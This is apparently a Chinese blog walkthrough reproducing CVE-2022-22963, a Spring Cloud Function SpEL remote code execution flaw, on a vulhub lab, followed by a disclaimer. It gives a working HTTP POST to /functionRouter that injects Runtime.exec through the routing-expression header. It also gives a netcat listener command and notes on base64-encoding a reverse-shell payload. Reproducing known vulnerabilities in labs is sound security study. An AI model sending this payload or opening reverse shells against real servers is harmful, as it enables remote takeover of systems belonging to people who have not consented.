漏洞复现-CVE-2022-22963-Spring Cloud Function SpEL RCE

0x00 实验环境

攻击机:Ubuntu

靶场:vulhub搭建的靶场环境

 

0x01 影响版本

  • 3.0.0.RELEASE <= Spring Cloud Function <= 3.1.6
  • Spring Cloud Function <= 3.2.2

不受影响版本

  • Spring Cloud Function 3.1.7
  • Spring Cloud Function 3.2.3

 

0x02 漏洞复现

(1)访问页面,默认页面是这样:

(2)首先验证漏洞,直接刷新链接,然后抓包,然后发送post包:

POST /functionRouter HTTP/1.1
Host: xxx:8080
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping xxx.xxx.xxx")
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

 

 (3)直接反弹shell的命令:nc -lvp 端口

这里需要注意将反弹shell的命令进行base64编码后再发包:https://ir0ny.top/pentest/reverse-encoder-shell.html

 

 

 

0x03 漏洞原理

 https://blog.csdn.net/qq_36869808/article/details/124164802

 

0x04 参考文献

https://blog.csdn.net/qq_36869808/article/details/124164802

 

0x05 免责声明

本漏洞复现文章仅用于学习、工作与兴趣爱好,并立志为网络安全奉献一份力量,凡是利用本博客相关内容的无良hackers造成的安全事故均与本人无关!

posted @ 2022-05-27 16:21  铺哩  阅读(1653)  评论(0编辑  收藏  举报